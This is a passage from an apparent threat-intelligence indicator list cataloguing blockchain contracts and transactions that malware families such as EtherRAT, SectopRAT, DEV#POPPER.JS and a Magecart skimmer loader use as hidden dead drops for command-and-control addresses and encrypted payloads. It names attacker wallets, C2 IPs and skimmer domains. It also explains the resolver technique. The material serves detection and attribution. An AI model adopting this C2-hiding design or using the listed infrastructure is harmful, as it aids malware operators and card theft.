of this explanation, we used one of the contracts used by attackers ( 0xc12c8d8f9706244eca0acf04e880f10ff4e52522) and wallet that funded it ( 0x37ef6e88425613564b2cf8adc496acff4b6481a9).…","Ethereum Sepolia contract the HexMage Magecart loader reads as a dead-drop resolver through getText(). Confiant reports that it resolves to the skimmer delivery host stylerightnoww.com. Created on 2026-04-10 by 0x88361c914bb0942da9a1b7bb396a7513c1917aee; it holds the host in plain base64, which this site read on 2026-11-11 as stylerightnoww.com.","Ethereum Sepolia contract the HexMage Magecart loader reads as a dead-drop resolver through getText(). Confiant reports that it resolves to the skimmer delivery host bloodthornkeep.top. Created on 2026-06-29 by 0x88361c914bb0942da9a1b7bb396a7513c1917aee; it holds a sealed salt:iv:ciphertext value that the loader decrypts with a per-build password (PBKDF2-SHA256, 100,000 iterations, AES-256-GCM).","BNB Smart Chain contract deployed by 0xe6975e14513283a5161ca883437a4e4b7298f1ca, the wallet that wrote the SectopRAT configuration contract 0xb11613acf39ad3b4dde427c27068d278fafa8998, and written 3 time(s) from 2025-12-17 to 2026-09-16 through the same function (0x3d7403a3) with the same 55-character encrypted string between START and FINISH markers. The values were not decrypted. Found by this site's EtherHiding hunt on 2026-10-12; that it serves SectopRAT rests on the shared writer and format, not on a report.","Ethereum Sepolia contract the HexMage Magecart loader reads as a dead-drop resolver through getText(). Confiant reports that it resolves to the skimmer delivery host voidravencitadel.com. Created on 2026-07-06 by 0x88361c914bb0942da9a1b7bb396a7513c1917aee; it holds a sealed salt:iv:ciphertext value that the loader decrypts with a per-build password (PBKDF2-SHA256, 100,000 iterations, AES-256-GCM).","A second EtherRAT resolver contract of the same getString(address) / setString(string) design (selectors 0x7d434425 and 0x7fcaf666). The DFIR Report lists it and its operator wallet among the indicators of an April 2026 intrusion in which EtherRAT's configuration on Ethereum was repeatedly rewritten to point at TryCloudflare tunnels. This site read its write history on 3 October 2026: the operator wrote 31 values between 24 April and 1 October 2026, alternating TryCloudflare tunnels with parked values naming well-known domains, so a new value here is reviewed before it is treated as an indicator. The DFIR Report published this deployment as EtherRAT in an intrusion that ended in The Gentlemen ransomware and names no nation-state; the DPRK label rests only on Sysdig's attribution of the EtherRAT family, so this entry carries low confidence and should not be read as a DPRK attribution of the intrusion itself.","Ethereum Sepolia contract the HexMage Magecart loader reads as a dead-drop resolver through getText(). Confiant reports that it resolves to the skimmer delivery host darkflamewatch.top. Created on 2026-06-29 by 0x88361c914bb0942da9a1b7bb396a7513c1917aee; it holds a sealed salt:iv:ciphertext value that the loader decrypts with a per-build password (PBKDF2-SHA256, 100,000 iterations, AES-256-GCM).","Ethereum EtherHiding resolver contract found in the analysis of the compromised keyv@6.0.0 npm package (Shai-Hulud; Netskope calls the campaign ChainDrop); on 2026-08-06 it returned awqhnjewqjkl.icu.","Ethereum contract that EtherRAT reads to find its command-and-control server. It stores a mapping from operator wallet to URL: the operator writes the current C2 with setString(string), and the implant reads it back with getString(address) (selector 0x7d434425) through a read-only eth_call that leaves no transaction. Hokage Vanguard reported the contract and its operator wallet and attributes the activity to Lazarus; Sysdig, which first described EtherRAT, attributes the implant to DPRK without naming a cluster, and this entry follows the narrower attribution. The checker on this site reads the operator's current value and the full write history on every run, so a rotation shows up as a change.","…infected machines at the cost of a small amount of crypto. Figure 8 – Retrieve C2 via EtherHiding The Ethereum smart contract address 0xe26c57b7fa8de030238b0a71b3d063397ac127d3 in this incident appears frequently in eSentire case data related to EtherRAT and has also been associated with attacks against other…","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2026-01-19 with 1 setString call when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0x7387d1a6974712093fb46a9c572807be62c565a2) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","Polygon contract deployed by 0x19532c0fbaf0fb8c1d0f3fac0b704bf2f4645539 that stores an XOR-encoded cryptocurrency-miner configuration, written 1 time(s) between 2026-04-15 and 2026-04-15. The decoded configurations name 109.107.167.184 as the pool or configuration server.","Ethereum contract that EtherRAT reads to find its command-and-control server, listed in Atos's appendix as created 2025-12-20 with 1 setString call when the appendix was compiled. It stores a mapping from operator wallet to URL: the operator writes the C2 with setString(string) and the implant reads it with getString(address) (selector 0x7d434425). On 2026-10-03 getString(0xf3947eeb5db984e9498da449c13305ed27428bc0) against a public Ethereum node returned a URL, confirming the contract has this shape; the stored values are not recorded here because operators park the resolver on well-known domains between sessions. Atos names no actor of its own: it repeats Sysdig's link between EtherRAT and the DPRK Contagious Interview tooling and notes code overlap with a tool eSentire attributed to an Iranian group, so this entry is filed under the unattributed DPRK label.","BNB Smart Chain contract deployed by 0xe6975e14513283a5161ca883437a4e4b7298f1ca, the wallet that wrote the SectopRAT configuration contract 0xb11613acf39ad3b4dde427c27068d278fafa8998, and written 5 time(s) from 2025-09-15 to 2026-09-16 through the same function (0x3d7403a3) with the same 55-character encrypted string between START and FINISH markers. The values were not decrypted. Found by this site's EtherHiding hunt on 2026-10-12; that it serves SectopRAT rests on the shared writer and format, not on a report.","Polygon configuration contract that Alex Necula gives as an example of the ClickFix campaign's EtherHiding dead drop: the malware reads it with eth_call and decrypts the C2 it returns. Deployed on 2026-04-27 by 0xede997d36941cf3b6f6f11e72a0393c7f19b3822, which rewrote it six times with setConfig(string) through 2026-09-19; each value is a base64 string, encrypted, and was not decoded here. The full address and operator were recovered by this site from the shortened address and the transaction list in the article's screenshot.","Ethereum Sepolia contract the HexMage Magecart loader reads as a dead-drop resolver through getText(). Confiant reports that it resolves to the skimmer delivery host frozenwildheart.top. Created on 2026-05-25 by 0x88361c914bb0942da9a1b7bb396a7513c1917aee; it holds a sealed salt:iv:ciphertext value that the loader decrypts with a per-build password (PBKDF2-SHA256, 100,000 iterations, AES-256-GCM).","Ethereum Sepolia contract the HexMage Magecart loader reads as a dead-drop resolver through getText(). Confiant reports that it resolves to the skimmer delivery host ashenravenfort.top. Created on 2026-06-29 by 0x88361c914bb0942da9a1b7bb396a7513c1917aee; it holds a sealed salt:iv:ciphertext value that the loader decrypts with a per-build password (PBKDF2-SHA256, 100,000 iterations, AES-256-GCM).","Ethereum Sepolia contract the HexMage Magecart loader reads as a dead-drop resolver through getText(). Confiant reports that it resolves to the skimmer delivery host warmcoffeetime.top. Created on 2026-05-19 by 0x88361c914bb0942da9a1b7bb396a7513c1917aee; it holds a sealed salt:iv:ciphertext value that the loader decrypts with a per-build password (PBKDF2-SHA256, 100,000 iterations, AES-256-GCM).","Ethereum Sepolia contract the HexMage Magecart loader reads as a dead-drop resolver through getText(). Confiant reports that it resolves to the skimmer delivery host bloodboundcitadel.top. Created on 2026-06-19 by 0x88361c914bb0942da9a1b7bb396a7513c1917aee; it holds a sealed salt:iv:ciphertext value that the loader decrypts with a per-build password (PBKDF2-SHA256, 100,000 iterations, AES-256-GCM).","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: the earliest transaction (7 February 2025) Ransom-ISAC found carrying an obfuscated malicious payload from the BSC wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: named in the file name of a deobfuscated DEV#POPPER.JS RAT variant in Ransom-ISAC's part 4 indicator table (170625_0x03decfa85c107de640312424534ae89a8457ede2f7582c4b84d20f158c9f3e36_FINAL.txt), which the post lists among payload transactions from wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","Ethereum transaction sent at 15:14:59 UTC on 2025-02-07 from 0x9bc1355344b54dedf3e44296916ed15653844509, the owner address already in this watchlist, to the burn address 0x000000000000000000000000000000000000dEaD, carrying 16,734 bytes of calldata and no value. It is one of ten such transactions this site found by enumerating that wallet, of which GTIG lists three; this is one of the seven that appear in no reporting this site is aware of. Its calldata carries the same profile as the three that are reported -- comparable size, and 6.2 to 6.3 bits of entropy per byte, so encoded or encrypted rather than readable. The payload was not decoded and no malware family is asserted for it here: what is established is the sender, the destination, the timing inside the same five-hour window, and the shape.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: the first Python downloader (Payload1_2) in the series, on 7 February 2025, whose C2 is 154.91.0.103:27017 and which leaves the string BEP-20: BOT250205. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: named in the file name of a deobfuscated DEV#POPPER.JS RAT variant in Ransom-ISAC's part 4 indicator table (011025_0x09e61c8f00b01eaa28b3ffaafdeb5f0d402357b87573400ebad1e25f3d9c8693_FINAL.txt), which the post lists among payload transactions from wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","Ethereum transaction sent at 14:38:47 UTC on 2025-02-07 from 0x9bc1355344b54dedf3e44296916ed15653844509, the owner address already in this watchlist, to the burn address 0x000000000000000000000000000000000000dEaD, carrying 17,117 bytes of calldata and no value. It is one of ten such transactions this site found by enumerating that wallet, of which GTIG lists three; this is one of the seven that appear in no reporting this site is aware of. Its calldata carries the same profile as the three that are reported -- comparable size, and 6.2 to 6.3 bits of entropy per byte, so encoded or encrypted rather than readable. The payload was not decoded and no malware family is asserted for it here: what is established is the sender, the destination, the timing inside the same five-hour window, and the shape.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: listed in Ransom-ISAC's part 4 indicator table as a cross-chain pointer target of TLmj13VL4p6NQ7jpxz8d9uYY6FUKCYatSe. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: listed in Ransom-ISAC's part 4 indicator table as a cross-chain pointer target of TLmj13VL4p6NQ7jpxz8d9uYY6FUKCYatSe; named in the file name of a deobfuscated DEV#POPPER.JS RAT variant in Ransom-ISAC's part 4 indicator table (011025_0x1a4272be3c516faea9093f5c2fadadb620cfe8bfbd50e22008847e6056fd91b9_FINAL.txt), which the post lists among payload transactions from wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: named in the file name of a deobfuscated DEV#POPPER.JS RAT variant in Ransom-ISAC's part 4 indicator table (130625_0x1cfb0f48dbed9db15451b06328619e3cc33f22616611411afc5be3005e768b59_FINAL.txt), which the post lists among payload transactions from wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","Ethereum transaction sent at 14:30:35 UTC on 2025-02-07 from 0x9bc1355344b54dedf3e44296916ed15653844509, the owner address already in this watchlist, to the burn address 0x000000000000000000000000000000000000dEaD, carrying 17,117 bytes of calldata and no value. It is one of ten such transactions this site found by enumerating that wallet, of which GTIG lists three; this is one of the seven that appear in no reporting this site is aware of. Its calldata carries the same profile as the three that are reported -- comparable size, and 6.2 to 6.3 bits of entropy per byte, so encoded or encrypted rather than readable. The payload was not decoded and no malware family is asserted for it here: what is established is the sender, the destination, the timing inside the same five-hour window, and the shape.","Ethereum transaction sent at 13:26:47 UTC on 2025-02-07 from 0x9bc1355344b54dedf3e44296916ed15653844509, the owner address already in this watchlist, to the burn address 0x000000000000000000000000000000000000dEaD, carrying 27,073 bytes of calldata and no value. It is one of ten such transactions this site found by enumerating that wallet, of which GTIG lists three; this is one of the seven that appear in no reporting this site is aware of. Its calldata carries the same profile as the three that are reported -- comparable size, and 6.2 to 6.3 bits of entropy per byte, so encoded or encrypted rather than readable. The payload was not decoded and no malware family is asserted for it here: what is established is the sender, the destination, the timing inside the same five-hour window, and the shape.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: named in the file name of a deobfuscated DEV#POPPER.JS RAT variant in Ransom-ISAC's part 4 indicator table (130625_0x377ee776fc12e468813a1cb1f36b71b973f40f78baf053f6ef77bf35968d706e_FINAL.txt), which the post lists among payload transactions from wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: named in the file name of a deobfuscated DEV#POPPER.JS RAT variant in Ransom-ISAC's part 4 indicator table (130625_0x37a83b05ab074c13bacd2493b97b876f97bc310726c9f8191982e4df180fc851_FINAL.txt), which the post lists among payload transactions from wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: named in the file name of a deobfuscated DEV#POPPER.JS RAT variant in Ransom-ISAC's part 4 indicator table (130625_0x3925fbf4a2e49966bc2d84cb4c134a28059e8483f7f8e2750c5aae737bfebe1d_FINAL.txt), which the post lists among payload transactions from wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: named in the file name of a deobfuscated DEV#POPPER.JS RAT variant in Ransom-ISAC's part 4 indicator table (011025_0x3b77783f8952ae8235a873a2ac6757f8ae563de56d0006d3f92fd8d73b45ac58_FINAL.txt), which the post lists among payload transactions from wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: named in the file name of a deobfuscated DEV#POPPER.JS RAT variant in Ransom-ISAC's part 4 indicator table (141125_0x4e0c8d86a755bc1a658619c9f399c3e108150539809bd049d9d8e7e3160bd388_FINAL.txt), which the post lists among payload transactions from wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: named in the file name of a deobfuscated DEV#POPPER.JS RAT variant in Ransom-ISAC's part 4 indicator table (011225_0x4ff108d057d6e62ec110a5c8a85b1b404aa0bf6299d63ee9a7679d858c981f0f_FINAL.txt), which the post lists among payload transactions from wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","BNB Smart Chain transaction that writes the JADESNOW payload into the watchlisted contract. It appears in the GTIG report's narrative and figures rather than its indicator table, so it is recorded here with that provenance stated. Reading it from a public BNB Smart Chain node corroborates it directly: block 46,456,153, sent from the watchlisted owner address 0x9bc1355344b54dedf3e44296916ed15653844509 to the watchlisted contract 0x8eac3198dd72f3e07108c4c7cff43108ad48a71c with roughly 5.3 KB of calldata, which is the payload-update operation the report describes.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: named in the file name of a deobfuscated DEV#POPPER.JS RAT variant in Ransom-ISAC's part 4 indicator table (081025_0x5fa89795ed04f9aa6f1969db1e5ce1767450da04cb86dd1ce582f25891dfd976_FINAL.txt), which the post lists among payload transactions from wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: September 2026 chain 2 payload, which Ransom-ISAC says decrypts to a loader that fetches /$/boot from 181.214.149.148 on port 80. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: listed in Ransom-ISAC's part 4 indicator table as a cross-chain pointer target of TLmj13VL4p6NQ7jpxz8d9uYY6FUKCYatSe; named in the file name of a deobfuscated DEV#POPPER.JS RAT variant in Ransom-ISAC's part 4 indicator table (071025_0x6c777ac28d0dba345eeda8b65625ef1aec69ecb5a489f25f2a2545cf3b3bb344_FINAL.txt), which the post lists among payload transactions from wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: named in the file name of a deobfuscated DEV#POPPER.JS RAT variant in Ransom-ISAC's part 4 indicator table (091025_0x828f00daa9fa68b36d2f2380f3fdc27265c53417ef01660b5421ea1125fad2de_FINAL.txt), which the post lists among payload transactions from wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: September 2026 chain 1 payload, which Ransom-ISAC says decrypts to a loader that sets the C2 to 181.214.149.148 on port 443 and fetches /init. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","Ethereum transaction GTIG lists as storing the INVISIBLEFERRET.JAVASCRIPT payload. Reading it from a public Ethereum node confirms it was sent at block 21,794,376 from 0x9bc1355344b54dedf3e44296916ed15653844509 -- the owner address already in this watchlist -- to the burn address 0x000000000000000000000000000000000000dEaD, carrying roughly 6.9 KB of calldata. Sending the payload as calldata to an address nobody controls puts it permanently on-chain without paying for contract storage, and it is retrievable by anyone who knows the transaction hash.","Ethereum transaction sent at 14:06:23 UTC on 2025-02-07 from 0x9bc1355344b54dedf3e44296916ed15653844509, the owner address already in this watchlist, to the burn address 0x000000000000000000000000000000000000dEaD, carrying 16,533 bytes of calldata and no value. It is one of ten such transactions this site found by enumerating that wallet, of which GTIG lists three; this is one of the seven that appear in no reporting this site is aware of. Its calldata carries the same profile as the three that are reported -- comparable size, and 6.2 to 6.3 bits of entropy per byte, so encoded or encrypted rather than readable. The payload was not decoded and no malware family is asserted for it here: what is established is the sender, the destination, the timing inside the same five-hour window, and the shape.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: named in the file name of a deobfuscated DEV#POPPER.JS RAT variant in Ransom-ISAC's part 4 indicator table (120625_0x95cac861a838481cbef0557e60098703038acfc920abfdcf272714cfbc7c12e9_FINAL.txt), which the post lists among payload transactions from wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: named in the file name of a deobfuscated DEV#POPPER.JS RAT variant in Ransom-ISAC's part 4 indicator table (091025_0xa1f957a901cdfeb603641b8cd8de22d6ef765bc102e1ce50c7494fb19ea1835d_FINAL.txt), which the post lists among payload transactions from wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: the Payload1_1 BSC transaction resolved from TLmj13VL4p6NQ7jpxz8d9uYY6FUKCYatSe. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","Ethereum transaction GTIG lists as storing the split INVISIBLEFERRET.JAVASCRIPT payload. Confirmed on-chain at block 21,795,760, sent from the same owner address to the same burn address, carrying roughly 16.7 KB of calldata -- the largest of the three payload writes GTIG names.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: listed in Ransom-ISAC's part 4 indicator table as a cross-chain pointer target of TLmj13VL4p6NQ7jpxz8d9uYY6FUKCYatSe; named in the file name of a deobfuscated DEV#POPPER.JS RAT variant in Ransom-ISAC's part 4 indicator table (011025_0xc3d4740f747e2f0adf622d2ac48ef6bda4b18e3d152028f0f8027216199c4fee_FINAL.txt), which the post lists among payload transactions from wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: named in the file name of a deobfuscated DEV#POPPER.JS RAT variant in Ransom-ISAC's part 4 indicator table (020725_0xc8090a40230cfacb82ead30d8d290a22f8e5f508800d725f8ae2dd1d35e03427_FINAL.txt), which the post lists among payload transactions from wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: the BSC transaction pointed to by TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG (Payload1 hash 2 in part 2); listed in Ransom-ISAC's part 4 indicator table as a cross-chain pointer target of TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","Ethereum transaction sent at 14:39:35 UTC on 2025-02-07 from 0x9bc1355344b54dedf3e44296916ed15653844509, the owner address already in this watchlist, to the burn address 0x000000000000000000000000000000000000dEaD, carrying 16,236 bytes of calldata and no value. It is one of ten such transactions this site found by enumerating that wallet, of which GTIG lists three; this is one of the seven that appear in no reporting this site is aware of. Its calldata carries the same profile as the three that are reported -- comparable size, and 6.2 to 6.3 bits of entropy per byte, so encoded or encrypted rather than readable. The payload was not decoded and no malware family is asserted for it here: what is established is the sender, the destination, the timing inside the same five-hour window, and the shape.","BNB Smart Chain transaction whose input field carries an encrypted JavaScript stage that the malware fetches with eth_getTransactionByHash: listed in Ransom-ISAC's part 4 indicator table as a cross-chain pointer target of TLmj13VL4p6NQ7jpxz8d9uYY6FUKCYatSe; named in the file name of a deobfuscated DEV#POPPER.JS RAT variant in Ransom-ISAC's part 4 indicator table (071025_0xf0adf6867fa5e1f7f9323e992dcad37eda3ca9bff82f49729ff1b85ab84a10d9_FINAL.txt), which the post lists among payload transactions from wallet 0x9bc1355344b54dedf3e44296916ed15653844509. Recorded from the cited indicator table; this site has not decrypted the calldata. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding 